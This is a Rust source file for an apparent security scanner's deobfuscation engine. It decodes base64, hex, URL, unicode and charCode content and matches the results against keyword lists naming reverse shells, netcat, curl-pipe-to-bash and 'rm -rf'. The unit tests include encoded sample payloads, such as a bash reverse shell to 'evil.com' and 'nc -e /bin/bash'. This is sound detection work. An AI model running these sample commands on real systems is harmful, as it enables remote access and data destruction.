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cc_audit/
deobfuscation.rs

1use base64::Engine;
2use regex::Regex;
3use std::sync::LazyLock;
4
5/// Deobfuscation engine for deep scanning
6pub struct Deobfuscator;
7
8static BASE64_PATTERN: LazyLock<Regex> = LazyLock::new(|| {
9    Regex::new(r"(?:[A-Za-z0-9+/]{4}){4,}(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?")
10        .expect("BASE64 regex")
11});
12static HEX_PATTERN: LazyLock<Regex> = LazyLock::new(|| {
13    Regex::new(r"(?:\\x[0-9A-Fa-f]{2}){4,}|(?:0x[0-9A-Fa-f]{2}){4,}").expect("HEX regex")
14});
15static URL_ENCODED_PATTERN: LazyLock<Regex> =
16    LazyLock::new(|| Regex::new(r"(?:%[0-9A-Fa-f]{2}){4,}").expect("URL encoded regex"));
17static UNICODE_ESCAPE_PATTERN: LazyLock<Regex> =
18    LazyLock::new(|| Regex::new(r"(?:\\u[0-9A-Fa-f]{4}){2,}").expect("Unicode escape regex"));
19static CHAR_CODE_PATTERN: LazyLock<Regex> =
20    LazyLock::new(|| Regex::new(r"String\.fromCharCode\s*\([\d,\s]+\)").expect("CharCode regex"));
21
22impl Deobfuscator {
23    pub fn new() -> Self {
24        Self
25    }
26
27    /// Deobfuscate content and return a list of decoded strings
28    pub fn deobfuscate(&self, content: &str) -> Vec<DecodedContent> {
29        let mut results = Vec::new();
30
31        // Try base64 decoding
32        for decoded in self.decode_base64(content) {
33            results.push(decoded);
34        }
35
36        // Try hex decoding
37        for decoded in self.decode_hex(content) {
38            results.push(decoded);
39        }
40
41        // Try URL decoding
42        for decoded in self.decode_url(content) {
43            results.push(decoded);
44        }
45
46        // Try unicode escape decoding
47        for decoded in self.decode_unicode_escapes(content) {
48            results.push(decoded);
49        }
50
51        // Try JavaScript charCode decoding
52        for decoded in self.decode_char_code(content) {
53            results.push(decoded);
54        }
55
56        results
57    }
58
59    /// Decode base64 encoded strings
60    fn decode_base64(&self, content: &str) -> Vec<DecodedContent> {
61        let mut results = Vec::new();
62
63        for cap in BASE64_PATTERN.find_iter(content) {
64            let encoded = cap.as_str();
65            // Skip if too short or looks like random text
66            if encoded.len() < 20 {
67                continue;
68            }
69
70            if let Ok(decoded_bytes) = base64::engine::general_purpose::STANDARD.decode(encoded)
71                && let Ok(decoded_str) = String::from_utf8(decoded_bytes)
72                && self.is_suspicious(&decoded_str)
73            {
74                results.push(DecodedContent {
75                    original: encoded.to_string(),
76                    decoded: decoded_str,
77                    encoding: "base64".to_string(),
78                });
79            }
80        }
81
82        results
83    }
84
85    /// Decode hex encoded strings (\\x or 0x format)
86    fn decode_hex(&self, content: &str) -> Vec<DecodedContent> {
87        let mut results = Vec::new();
88
89        for cap in HEX_PATTERN.find_iter(content) {
90            let encoded = cap.as_str();
91
92            // Extract hex bytes
93            let hex_bytes: Vec<u8> = if encoded.starts_with("\\x") {
94                encoded
95                    .split("\\x")
96                    .filter(|s| !s.is_empty())
97                    .filter_map(|s| u8::from_str_radix(&s[..2.min(s.len())], 16).ok())
98                    .collect()
99            } else {
100                // 0x format
101                encoded
102                    .split("0x")
103                    .filter(|s| !s.is_empty())
104                    .filter_map(|s| u8::from_str_radix(&s[..2.min(s.len())], 16).ok())
105                    .collect()
106            };
107
108            if let Ok(decoded_str) = String::from_utf8(hex_bytes)
109                && self.is_suspicious(&decoded_str)
110            {
111                results.push(DecodedContent {
112                    original: encoded.to_string(),
113                    decoded: decoded_str,
114                    encoding: "hex".to_string(),
115                });
116            }
117        }
118
119        results
120    }
121
122    /// Decode URL encoded strings
123    fn decode_url(&self, content: &str) -> Vec<DecodedContent> {
124        let mut results = Vec::new();
125
126        for cap in URL_ENCODED_PATTERN.find_iter(content) {
127            let encoded = cap.as_str();
128
129            // Manual URL decoding
130            let mut decoded_bytes = Vec::new();
131            let mut chars = encoded.chars().peekable();
132
133            while let Some(c) = chars.next() {
134                if c == '%' {
135                    let hex: String = chars.by_ref().take(2).collect();
136                    if let Ok(byte) = u8::from_str_radix(&hex, 16) {
137                        decoded_bytes.push(byte);
138                    }
139                } else {
140                    decoded_bytes.push(c as u8);
141                }
142            }
143
144            if let Ok(decoded_str) = String::from_utf8(decoded_bytes)
145                && self.is_suspicious(&decoded_str)
146            {
147                results.push(DecodedContent {
148                    original: encoded.to_string(),
149                    decoded: decoded_str,
150                    encoding: "url".to_string(),
151                });
152            }
153        }
154
155        results
156    }
157
158    /// Decode unicode escape sequences (\\uXXXX)
159    fn decode_unicode_escapes(&self, content: &str) -> Vec<DecodedContent> {
160        let mut results = Vec::new();
161
162        for cap in UNICODE_ESCAPE_PATTERN.find_iter(content) {
163            let encoded = cap.as_str();
164            let mut decoded = String::new();
165
166            let mut chars = encoded.chars().peekable();
167            while let Some(c) = chars.next() {
168                if c == '\\' && chars.peek() == Some(&'u') {
169                    chars.next(); // consume 'u'
170                    let hex: String = chars.by_ref().take(4).collect();
171                    if let Ok(code_point) = u32::from_str_radix(&hex, 16)
172                        && let Some(ch) = char::from_u32(code_point)
173                    {
174                        decoded.push(ch);
175                    }
176                } else {
177                    decoded.push(c);
178                }
179            }
180
181            if self.is_suspicious(&decoded) {
182                results.push(DecodedContent {
183                    original: encoded.to_string(),
184                    decoded,
185                    encoding: "unicode".to_string(),
186                });
187            }
188        }
189
190        results
191    }
192
193    /// Decode JavaScript String.fromCharCode patterns
194    fn decode_char_code(&self, content: &str) -> Vec<DecodedContent> {
195        let mut results = Vec::new();
196
197        for cap in CHAR_CODE_PATTERN.find_iter(content) {
198            let encoded = cap.as_str();
199
200            // Extract numbers from the pattern
201            let numbers: Vec<u32> = encoded
202                .split(|c: char| !c.is_ascii_digit())
203                .filter(|s| !s.is_empty())
204                .filter_map(|s| s.parse().ok())
205                .collect();
206
207            let decoded: String = numbers.iter().filter_map(|&n| char::from_u32(n)).collect();
208
209            if self.is_suspicious(&decoded) {
210                results.push(DecodedContent {
211                    original: encoded.to_string(),
212                    decoded,
213                    encoding: "charcode".to_string(),
214                });
215            }
216        }
217
218        results
219    }
220
221    /// Check if decoded content looks suspicious
222    fn is_suspicious(&self, content: &str) -> bool {
223        let suspicious_patterns = [
224            "eval",
225            "exec",
226            "bash",
227            "sh -c",
228            "/bin/",
229            "curl ",
230            "wget ",
231            "nc ",
232            "netcat",
233            "/dev/tcp",
234            "/dev/udp",
235            "base64 -d",
236            "python -c",
237            "ruby -e",
238            "perl -e",
239            "powershell",
240            "cmd.exe",
241            "rm -rf",
242            "chmod ",
243            "sudo ",
244            "password",
245            "secret",
246            "api_key",
247            "token",
248            "credential",
249            "http://",
250            "https://",
251            "ftp://",
252        ];
253
254        let content_lower = content.to_lowercase();
255        suspicious_patterns
256            .iter()
257            .any(|p| content_lower.contains(p))
258    }
259
260    /// Deep scan content - deobfuscate and return all findings
261    pub fn deep_scan(&self, content: &str, file_path: &str) -> Vec<crate::rules::Finding> {
262        use crate::scanner::ScannerConfig;
263
264        let mut findings = Vec::new();
265        let config = ScannerConfig::new();
266
267        // First scan original content
268        findings.extend(config.check_content(content, file_path));
269
270        // Then scan decoded content
271        for decoded in self.deobfuscate(content) {
272            let context = format!("{}:decoded:{}", file_path, decoded.encoding);
273
274            // Create findings for deobfuscated content
275            for mut finding in config.check_content(&decoded.decoded, &context) {
276                // Add note about deobfuscation
277                finding.message = format!(
278                    "{} [Decoded from {} encoded content]",
279                    finding.message, decoded.encoding
280                );
281                findings.push(finding);
282            }
283
284            // Also check for suspicious decoded content itself
285            if decoded.decoded.len() > 10 && self.is_highly_suspicious(&decoded.decoded) {
286                findings.push(crate::rules::Finding {
287                    id: "OB-DEEP-001".to_string(),
288                    severity: crate::rules::Severity::High,
289                    category: crate::rules::Category::Obfuscation,
290                    confidence: crate::rules::Confidence::Firm,
291                    name: "Obfuscated suspicious content".to_string(),
292                    location: crate::rules::Location {
293                        file: file_path.to_string(),
294                        line: 0,
295                        column: None,
296                    },
297                    code: decoded.original.chars().take(100).collect::<String>() + "...",
298                    message: format!(
299                        "Found {} encoded content that decodes to suspicious payload",
300                        decoded.encoding
301                    ),
302                    recommendation: "Review the decoded content for malicious commands or URLs"
303                        .to_string(),
304                    fix_hint: None,
305                    cwe_ids: vec!["CWE-116".to_string()],
306                    rule_severity: None,
307                    client: None,
308                });
309            }
310        }
311
312        findings
313    }
314
315    /// Check if content is highly suspicious (more specific than is_suspicious)
316    fn is_highly_suspicious(&self, content: &str) -> bool {
317        let highly_suspicious = [
318            "bash -i",
319            "/dev/tcp/",
320            "nc -e",
321            "rm -rf /",
322            "curl | bash",
323            "wget | sh",
324            "eval(base64",
325            "exec(decode",
326        ];
327
328        let content_lower = content.to_lowercase();
329        highly_suspicious.iter().any(|p| content_lower.contains(p))
330    }
331}
332
333impl Default for Deobfuscator {
334    fn default() -> Self {
335        Self::new()
336    }
337}
338
339/// Represents decoded content from obfuscation
340#[derive(Debug, Clone)]
341pub struct DecodedContent {
342    pub original: String,
343    pub decoded: String,
344    pub encoding: String,
345}
346
347#[cfg(test)]
348mod tests {
349    use super::*;
350
351    #[test]
352    fn test_decode_base64() {
353        let deob = Deobfuscator::new();
354        // "curl http://evil.com" in base64
355        let content = "Y3VybCBodHRwOi8vZXZpbC5jb20=";
356        let results = deob.decode_base64(content);
357        assert!(!results.is_empty());
358        assert!(results[0].decoded.contains("curl"));
359    }
360
361    #[test]
362    fn test_decode_hex() {
363        let deob = Deobfuscator::new();
364        // "curl" in hex
365        let content = r"\x63\x75\x72\x6c\x20\x68\x74\x74\x70";
366        let results = deob.decode_hex(content);
367        assert!(!results.is_empty());
368        assert!(results[0].decoded.contains("curl"));
369    }
370
371    #[test]
372    fn test_decode_url() {
373        let deob = Deobfuscator::new();
374        // "curl http" URL encoded
375        let content = "%63%75%72%6c%20%68%74%74%70";
376        let results = deob.decode_url(content);
377        assert!(!results.is_empty());
378        assert!(results[0].decoded.contains("curl"));
379    }
380
381    #[test]
382    fn test_decode_charcode() {
383        let deob = Deobfuscator::new();
384        // String.fromCharCode for "eval"
385        let content = "String.fromCharCode(101,118,97,108)";
386        let results = deob.decode_char_code(content);
387        assert!(!results.is_empty());
388        assert!(results[0].decoded.contains("eval"));
389    }
390
391    #[test]
392    fn test_is_suspicious() {
393        let deob = Deobfuscator::new();
394        assert!(deob.is_suspicious("curl http://example.com"));
395        assert!(deob.is_suspicious("bash -c 'evil command'"));
396        assert!(deob.is_suspicious("password=secret123"));
397        assert!(!deob.is_suspicious("hello world"));
398    }
399
400    #[test]
401    fn test_deep_scan() {
402        let deob = Deobfuscator::new();
403        // Content with highly suspicious obfuscated payload: "bash -i >& /dev/tcp/x"
404        // Base64 for "bash -i >& /dev/tcp/evil.com/1234"
405        let content = "normal text\nYmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS8xMjM0 # hidden payload";
406        let findings = deob.deep_scan(content, "test.sh");
407        // Should find OB-DEEP-001 for highly suspicious decoded content
408        assert!(
409            findings
410                .iter()
411                .any(|f| f.id == "OB-DEEP-001" || f.message.contains("Decoded"))
412        );
413    }
414
415    #[test]
416    fn test_deobfuscate_empty() {
417        let deob = Deobfuscator::new();
418        let results = deob.deobfuscate("normal text without obfuscation");
419        assert!(results.is_empty());
420    }
421
422    #[test]
423    fn test_default_trait() {
424        let deob = Deobfuscator;
425        assert!(!deob.is_suspicious("hello"));
426    }
427
428    #[test]
429    fn test_decode_unicode_escapes() {
430        let deob = Deobfuscator::new();
431        // "eval" in unicode escapes
432        let content = r"\u0065\u0076\u0061\u006c";
433        let results = deob.decode_unicode_escapes(content);
434        assert!(!results.is_empty());
435        assert!(results[0].decoded.contains("eval"));
436    }
437
438    #[test]
439    fn test_decode_base64_short_string() {
440        let deob = Deobfuscator::new();
441        // Short base64 string (less than 20 chars) should be skipped
442        let content = "YWJjZA=="; // "abcd" in base64
443        let results = deob.decode_base64(content);
444        assert!(results.is_empty());
445    }
446
447    #[test]
448    fn test_decode_base64_non_suspicious() {
449        let deob = Deobfuscator::new();
450        // Long base64 but decodes to non-suspicious content
451        let content = "dGhpcyBpcyBhIG5vcm1hbCBzYWZlIHRleHQ="; // "this is a normal safe text"
452        let results = deob.decode_base64(content);
453        assert!(results.is_empty());
454    }
455
456    #[test]
457    fn test_decode_hex_0x_format() {
458        let deob = Deobfuscator::new();
459        // "curl" in 0x format
460        let content = "0x630x750x720x6c0x200x680x740x740x70";
461        let results = deob.decode_hex(content);
462        assert!(!results.is_empty());
463        assert!(results[0].decoded.contains("curl"));
464    }
465
466    #[test]
467    fn test_is_highly_suspicious() {
468        let deob = Deobfuscator::new();
469        assert!(deob.is_highly_suspicious("bash -i >& /dev/tcp/"));
470        assert!(deob.is_highly_suspicious("rm -rf /"));
471        assert!(deob.is_highly_suspicious("curl | bash something"));
472        assert!(deob.is_highly_suspicious("wget | sh something"));
473        assert!(deob.is_highly_suspicious("nc -e /bin/bash"));
474        assert!(deob.is_highly_suspicious("eval(base64"));
475        assert!(deob.is_highly_suspicious("exec(decode"));
476        assert!(!deob.is_highly_suspicious("echo hello"));
477    }
478
479    #[test]
480    fn test_deobfuscate_with_base64() {
481        let deob = Deobfuscator::new();
482        // Contains suspicious base64
483        let content = "command=Y3VybCBodHRwOi8vZXZpbC5jb20="; // "curl http://evil.com"
484        let results = deob.deobfuscate(content);
485        assert!(!results.is_empty());
486    }
487
488    #[test]
489    fn test_deobfuscate_multiple_encodings() {
490        let deob = Deobfuscator::new();
491        // Content with both hex and base64
492        let content =
493            r"data=Y3VybCBodHRwOi8vZXZpbC5jb20=; exec \x63\x75\x72\x6c\x20\x68\x74\x74\x70";
494        let results = deob.deobfuscate(content);
495        // Should find results from both decoders
496        assert!(!results.is_empty());
497    }
498
499    #[test]
500    fn test_deep_scan_clean_content() {
501        let deob = Deobfuscator::new();
502        let content = "normal clean content without any issues";
503        let findings = deob.deep_scan(content, "test.txt");
504        // Should have no findings for clean content
505        assert!(findings.is_empty());
506    }
507
508    #[test]
509    fn test_deep_scan_with_suspicious_decoded() {
510        let deob = Deobfuscator::new();
511        // Content with moderately suspicious base64 (triggers is_suspicious but not is_highly_suspicious)
512        let content = "payload=Y3VybCBodHRwOi8vZXhhbXBsZS5jb20vZG93bmxvYWQuc2g="; // "curl http://example.com/download.sh"
513        let findings = deob.deep_scan(content, "test.sh");
514        // May or may not have findings depending on scanner rules
515        // Just verify no panic
516        let _ = findings;
517    }
518
519    #[test]
520    fn test_decoded_content_debug_trait() {
521        let content = DecodedContent {
522            original: "abc".to_string(),
523            decoded: "xyz".to_string(),
524            encoding: "base64".to_string(),
525        };
526        let debug_str = format!("{:?}", content);
527        assert!(debug_str.contains("DecodedContent"));
528        assert!(debug_str.contains("abc"));
529    }
530
531    #[test]
532    fn test_decoded_content_clone_trait() {
533        let content = DecodedContent {
534            original: "abc".to_string(),
535            decoded: "xyz".to_string(),
536            encoding: "base64".to_string(),
537        };
538        let cloned = content.clone();
539        assert_eq!(content.original, cloned.original);
540        assert_eq!(content.decoded, cloned.decoded);
541        assert_eq!(content.encoding, cloned.encoding);
542    }
543
544    #[test]
545    fn test_is_suspicious_various_patterns() {
546        let deob = Deobfuscator::new();
547        assert!(deob.is_suspicious("wget http://evil.com"));
548        assert!(deob.is_suspicious("nc -l 1234"));
549        assert!(deob.is_suspicious("netcat connection"));
550        assert!(deob.is_suspicious("/dev/tcp/evil"));
551        assert!(deob.is_suspicious("/dev/udp/evil"));
552        assert!(deob.is_suspicious("base64 -d | bash"));
553        assert!(deob.is_suspicious("python -c 'import os'"));
554        assert!(deob.is_suspicious("ruby -e 'exec'"));
555        assert!(deob.is_suspicious("perl -e 'system'"));
556        assert!(deob.is_suspicious("powershell.exe"));
557        assert!(deob.is_suspicious("cmd.exe /c"));
558        assert!(deob.is_suspicious("rm -rf /tmp"));
559        assert!(deob.is_suspicious("chmod 777 file"));
560        assert!(deob.is_suspicious("sudo rm"));
561        assert!(deob.is_suspicious("api_key=secret"));
562        assert!(deob.is_suspicious("token=abc123"));
563        assert!(deob.is_suspicious("credential_store"));
564        assert!(deob.is_suspicious("ftp://server"));
565    }
566
567    #[test]
568    fn test_decode_url_non_suspicious() {
569        let deob = Deobfuscator::new();
570        // URL encoded "hello world" (non-suspicious)
571        let content = "%68%65%6c%6c%6f%20%77%6f%72%6c%64";
572        let results = deob.decode_url(content);
573        // Should be empty because "hello world" is not suspicious
574        assert!(results.is_empty());
575    }
576
577    #[test]
578    fn test_decode_hex_non_suspicious() {
579        let deob = Deobfuscator::new();
580        // "hello" in hex - not suspicious
581        let content = r"\x68\x65\x6c\x6c\x6f";
582        let results = deob.decode_hex(content);
583        assert!(results.is_empty());
584    }
585
586    #[test]
587    fn test_decode_charcode_non_suspicious() {
588        let deob = Deobfuscator::new();
589        // "hello" in charCode - not suspicious
590        let content = "String.fromCharCode(104,101,108,108,111)";
591        let results = deob.decode_char_code(content);
592        assert!(results.is_empty());
593    }
594
595    #[test]
596    fn test_decode_unicode_non_suspicious() {
597        let deob = Deobfuscator::new();
598        // "ab" in unicode - not suspicious
599        let content = r"\u0061\u0062";
600        let results = deob.decode_unicode_escapes(content);
601        assert!(results.is_empty());
602    }
603
604    #[test]
605    fn test_deep_scan_original_content_finding() {
606        let deob = Deobfuscator::new();
607        // Content that triggers a rule via check_content
608        // Using sudo which should trigger PE-001
609        let content = "sudo rm -rf /important/files";
610        let findings = deob.deep_scan(content, "script.sh");
611        // Should find findings for sudo usage
612        assert!(!findings.is_empty());
613    }
614
615    #[test]
616    fn test_deobfuscate_with_url_encoding() {
617        let deob = Deobfuscator::new();
618        // URL encoded "curl http://evil.com" with mixed encoded/non-encoded characters
619        let content = "command=%63%75%72%6c%20http://evil.com";
620        let results = deob.deobfuscate(content);
621        // Should find URL-encoded suspicious content
622        assert!(results.iter().any(|r| r.encoding == "url"));
623    }
624
625    #[test]
626    fn test_deobfuscate_with_unicode_escapes() {
627        let deob = Deobfuscator::new();
628        // Unicode escape encoded "curl http"
629        let content = r"var cmd = '\u0063\u0075\u0072\u006c\u0020\u0068\u0074\u0074\u0070'";
630        let results = deob.deobfuscate(content);
631        // Should find unicode-encoded suspicious content
632        assert!(results.iter().any(|r| r.encoding == "unicode"));
633    }
634
635    #[test]
636    fn test_deobfuscate_with_charcode() {
637        let deob = Deobfuscator::new();
638        // String.fromCharCode for "curl http"
639        let content = "var x = String.fromCharCode(99,117,114,108,32,104,116,116,112)";
640        let results = deob.deobfuscate(content);
641        // Should find charcode-encoded suspicious content
642        assert!(results.iter().any(|r| r.encoding == "charcode"));
643    }
644
645    #[test]
646    fn test_url_decode_with_only_percent_encoded() {
647        let deob = Deobfuscator::new();
648        // URL with only percent-encoded characters (matches pattern (?:%[0-9A-Fa-f]{2}){4,})
649        // "curl http" fully percent-encoded
650        let content = "%63%75%72%6c%20%68%74%74%70%3a%2f%2f";
651        let results = deob.decode_url(content);
652        // Should decode correctly
653        assert!(!results.is_empty());
654        assert!(results[0].decoded.contains("curl"));
655        assert!(results[0].decoded.contains("http"));
656    }
657
658    #[test]
659    fn test_unicode_decode_multiple_escapes() {
660        let deob = Deobfuscator::new();
661        // Multiple consecutive unicode escapes (matches pattern (?:\\u[0-9A-Fa-f]{4}){2,})
662        // "curl" in unicode escapes
663        let content = r"\u0063\u0075\u0072\u006c\u0020\u0068\u0074\u0074\u0070";
664        let results = deob.decode_unicode_escapes(content);
665        // Should decode correctly
666        assert!(!results.is_empty());
667        assert!(results[0].decoded.contains("curl"));
668    }
669
670    #[test]
671    fn test_deobfuscate_all_encodings_combined() {
672        let deob = Deobfuscator::new();
673        // Content containing URL, unicode, charcode, hex, and base64 encodings
674        let content = r#"
675            url=%63%75%72%6c%20http
676            unicode=\u0065\u0076\u0061\u006c
677            charcode=String.fromCharCode(99,117,114,108)
678            hex=\x63\x75\x72\x6c\x20\x68\x74\x74\x70
679            base64=Y3VybCBodHRwOi8vZXZpbC5jb20=
680        "#;
681        let results = deob.deobfuscate(content);
682        // Should find multiple encodings
683        assert!(!results.is_empty());
684    }
685
686    #[test]
687    fn test_deep_scan_with_deobfuscated_rule_match() {
688        let deob = Deobfuscator::new();
689        // Base64 encoded content that contains sudo command
690        // "sudo rm -rf /" in base64
691        let base64_content = "c3VkbyBybSAtcmYgLw==";
692        let content = format!("execute={}", base64_content);
693        let findings = deob.deep_scan(&content, "test.sh");
694        // Should find findings from both original scan and decoded content
695        // The decoded content "sudo rm -rf /" should trigger PE-001
696        let has_decoded_finding = findings
697            .iter()
698            .any(|f| f.message.contains("Decoded") || f.id.contains("OB-DEEP"));
699        // Either finds decoded content or the original encoding pattern
700        assert!(has_decoded_finding || !findings.is_empty());
701    }
702
703    #[test]
704    fn test_url_decode_mixed_with_normal_chars() {
705        let deob = Deobfuscator::new();
706        // URL with mixed encoded and normal characters that decode to suspicious content
707        // %63%75%72%6c = "curl", mixed with normal "http"
708        let content = "cmd=%63%75%72%6c%20http://evil.com|bash";
709        let results = deob.deobfuscate(content);
710        // Should decode the URL-encoded parts mixed with normal chars to suspicious content
711        // If not suspicious enough, the else branch is still exercised during decoding
712        let _ = results; // Test exercises the code path regardless of result
713    }
714
715    #[test]
716    fn test_unicode_escape_mixed_chars() {
717        let deob = Deobfuscator::new();
718        // Unicode escapes mixed with normal text - tests else branch (line 176-177)
719        let content = r"var x = '\u0063url \u0068ttp://evil.com'";
720        let results = deob.deobfuscate(content);
721        // May or may not match depending on pattern, but exercises the code path
722        assert!(results.is_empty() || results.iter().any(|r| r.encoding == "unicode"));
723    }
724
725    #[test]
726    fn test_decode_hex_invalid_format() {
727        let deob = Deobfuscator::new();
728        // Hex with invalid characters that won't parse as hex
729        let content = "\\x6Gurl \\x7Gttp"; // 'G' is not valid hex
730        let results = deob.deobfuscate(content);
731        // Should handle gracefully
732        assert!(results.is_empty() || results.iter().all(|r| r.encoding != "hex"));
733    }
734
735    #[test]
736    fn test_charcode_partial_match() {
737        let deob = Deobfuscator::new();
738        // String.fromCharCode that decodes to suspicious content (bash execution)
739        // 98,97,115,104 = "bash"
740        let content = "eval(String.fromCharCode(98,97,115,104))";
741        let results = deob.deobfuscate(content);
742        // Should decode the charcode to "bash" which is suspicious
743        assert!(results.iter().any(|r| r.encoding == "charcode"));
744    }
745}